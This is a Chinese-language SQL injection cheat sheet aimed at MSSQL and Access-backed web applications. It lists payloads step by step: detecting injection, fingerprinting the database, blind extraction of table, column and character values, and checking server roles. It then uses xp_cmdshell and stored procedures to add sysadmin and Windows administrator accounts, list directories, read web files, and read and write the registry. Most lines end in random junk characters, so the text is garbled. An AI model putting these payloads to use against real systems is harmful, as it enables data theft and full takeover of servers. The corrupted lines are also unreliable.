1.判断是否有注入;and 1=1 ;and 1=2 w"zE_9I\
2.初步判断是否是mssql ;and user>0 FN87^.^2S
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3.注入参数是字符'and [查询条件] and ''=' `8g7q 5
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 'Pd(\$ZY
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5.判断数据库系统 }iiHr|l3
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;and (select count(*) from sysobjects)>0 mssql {qpi?oY
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;and (select count(*) from msysobjects)>0 access #1/}3+=5B
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 WZewPn>#q
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 |+f-h,
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 _elX<o4
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9.(1)猜字段的ascii值(access) 6 "gj!/e
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 2}WDw>V
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(2)猜字段的ascii值(mssql) ZFn(x*L
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 T0QvnIaP
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10.测试权限结构(mssql) ~(X(&
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- S\ ,mR4:
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- !]koSw}
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- {7"0,2 Hb?
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- N$I03m
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- pV\YG B+
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- W6/ @W
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;and 1=(select IS_MEMBER('db_owner'));-- -j2 (R?a
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11.添加mssql和系统的帐户 {E_{JB~`
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;exec master.dbo.sp_addlogin username;-- p~jlx~1-]
;exec master.dbo.sp_password null,username,password;-- &X>7n~@0
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ERMa# L
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;exec master.dbo.xp_cmdshell 'net user username password 1Y/$,Oa5
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- _t>"5s&i
)}lRd#V
;exec master.dbo.xp_cmdshell 'net user username password /add';-- _^S]g mE
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 7}o/:
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12.(1)遍历目录 [0;buVU.
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;create table dirs(paths varchar(100), id int) sfD5!Z9#1
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;insert dirs exec master.dbo.xp_dirtree 'c:\' &)9{HRP
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;and (select top 1 paths from dirs)>0 3{7T4p.G
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 7'p8a<x
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(2)遍历目录 h1D?=M\9
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- M4f;/ `w
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 U.0kR/>Z=
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 qa'gM@]
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 9.OA, 6
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 oy.[+EI`|
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13.mssql中的存储过程 `FF8ie 8L
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xp_regenumvalues 注册表根键, 子键 ,^s0</ve
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 7{kP}?
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xp_regread 根键,子键,键值名 uXZg1F)
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;exec xp_regread -6~' cm
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Jl<ns,Zg
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xp_regwrite 根键,子键, 值名, 值类型, 值 i\?*=\a
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ??qq: `s
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 *s4\\Wb=
,?cH"@RJ
xp_regdeletevalue 根键,子键,值名 Zl/<